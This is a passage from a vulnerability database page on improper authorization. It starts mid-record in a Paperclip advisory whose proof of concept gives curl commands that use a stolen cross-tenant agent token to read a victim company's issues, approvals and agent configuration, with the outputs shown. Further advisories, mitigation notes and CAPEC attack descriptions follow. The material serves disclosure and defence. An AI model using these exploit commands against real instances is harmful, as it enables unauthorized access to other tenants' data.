data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` \u2192 **201** with plaintext `token` bound to\n the victim\u0027s `companyId`\n- `GET /api/companies/:victimId` \u2192 **200** full company metadata\n- `GET /api/companies/:victimId/issues` \u2192 **200** issue list\n- `GET /api/companies/:victimId/agents` \u2192 **200** agent list\n- `GET /api/companies/:victimId/approvals` \u2192 **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n the documented multi-user configuration and the default in\n `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant\u0027s\n company metadata, issues, approvals, runs, and agent configuration (which\n includes adapter URLs, model settings, and references to stored secret\n bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n that authenticates for every `assertCompanyAccess`-gated agent-scoped\n mutation in the victim tenant (issue/run updates, self-wakeup with\n attacker-controlled payloads, adapter execution via the agent\u0027s own\n adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n `DELETE` any agent in any company via the sibling `assertBoard`-only\n handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n chain, but the same root cause (`assertBoard` treated as sufficient where\n `assertCompanyAccess` is required on a cross-tenant resource, or where\n `assertInstanceAdmin` is required on an instance-global resource) is\n present in multiple other handlers. The import fix did not audit sibling\n routes. This report is an instance of that same class the prior advisory\n did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const keys = await svc.listKeys(id);\n res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n assertBoard(req);\n const id = req.params.id as string;\n const agent = await svc.getById(id);\n if (!agent) {\n res.status(404).json({ error: \"Agent not found\" });\n return;\n }\n assertCompanyAccess(req, agent.companyId);\n const key = await svc.createApiKey(id, req.body.name);\n ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n assertBoard(req);\n const keyId = req.params.keyId as string;\n // Look up the key to find its agentId/companyId, then:\n const key = await svc.getKeyById(keyId);\n if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n assertCompanyAccess(req, key.companyId);\n await svc.revokeKey(keyId);\n res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` \u2014 the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n digest `sha256:baa9926e...`, commit `b649bd4`\n (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
"id": "GHSA-47wq-cj9q-wpmp",
"modified": "2026-04-16T22:48:32Z",
"published": "2026-04-16T22:48:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys"
}
GHSA-48GG-32Q2-4R6M
Vulnerability from github – Published: 2024-08-25 03:30 – Updated: 2025-10-13 15:12Hyperledger Fabric through 2.5.9 does not verify that a request has a timestamp within the expected time window.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/hyperledger/fabric"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45244"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-294",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-26T14:56:07Z",
"nvd_published_at": "2024-08-25T02:15:03Z",
"severity": "MODERATE"
},
"details": "Hyperledger Fabric through 2.5.9 does not verify that a request has a timestamp within the expected time window.",
"id": "GHSA-48gg-32q2-4r6m",
"modified": "2025-10-13T15:12:40Z",
"published": "2024-08-25T03:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45244"
},
{
"type": "WEB",
"url": "https://github.com/hyperledger/fabric/commit/155457a6624b3c74b22e5729c35c8499bfe952cd"
},
{
"type": "PACKAGE",
"url": "https://github.com/hyperledger/fabric"
},
{
"type": "WEB",
"url": "https://github.com/shanker-sec/HLF_TxTime_spoofing"
},
{
"type": "WEB",
"url": "https://github.com/shanker-sec/hlf-time-oracle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hyperledger Fabric does not verify request has a timestamp within the expected time window"
}
GHSA-4CF5-XMHP-3XJ7
Vulnerability from github – Published: 2022-06-30 00:00 – Updated: 2022-07-11 19:25Apache Shiro before 1.9.1, A RegexRequestMatcher can be misconfigured to be bypassed on some servlet containers. Applications using RegExPatternMatcher with . in the regular expression are possibly vulnerable to an authorization bypass.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.shiro:shiro-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-32532"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-06T19:52:31Z",
"nvd_published_at": "2022-06-29T00:15:00Z",
"severity": "CRITICAL"
},
"details": "Apache Shiro before 1.9.1, A RegexRequestMatcher can be misconfigured to be bypassed on some servlet containers. Applications using RegExPatternMatcher with `.` in the regular expression are possibly vulnerable to an authorization bypass.",
"id": "GHSA-4cf5-xmhp-3xj7",
"modified": "2022-07-11T19:25:50Z",
"published": "2022-06-30T00:00:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32532"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/shiro"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Authorization in Apache Shiro"
}
GHSA-4CMQ-88F8-53R5
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2022-12-06 21:25A missing permission check in Jenkins CRX Content Package Deployer Plugin prior to version 1.9 in various 'doFillCredentialsIdItems' methods allowed users with Overall/Read access to enumerate credentials ID of credentials stored in Jenkins. This issue is patched in version 1.9.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:crx-content-package-deployer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10439"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-06T21:25:47Z",
"nvd_published_at": "2019-10-16T14:15:00Z",
"severity": "MODERATE"
},
"details": "A missing permission check in Jenkins CRX Content Package Deployer Plugin prior to version 1.9 in various \u0027doFillCredentialsIdItems\u0027 methods allowed users with Overall/Read access to enumerate credentials ID of credentials stored in Jenkins. This issue is patched in version 1.9.",
"id": "GHSA-4cmq-88f8-53r5",
"modified": "2022-12-06T21:25:47Z",
"published": "2022-05-24T16:58:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10439"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/crx-content-package-deployer-plugin/commit/06cd0e7e1b3f2fb87b3fa332ee1da710ca94b8e1"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/crx-content-package-deployer-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-10-16/#SECURITY-1006%20(2)"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins CRX Content Package Deployer Plugin subject to credentials enumeration via Missing Authorization"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.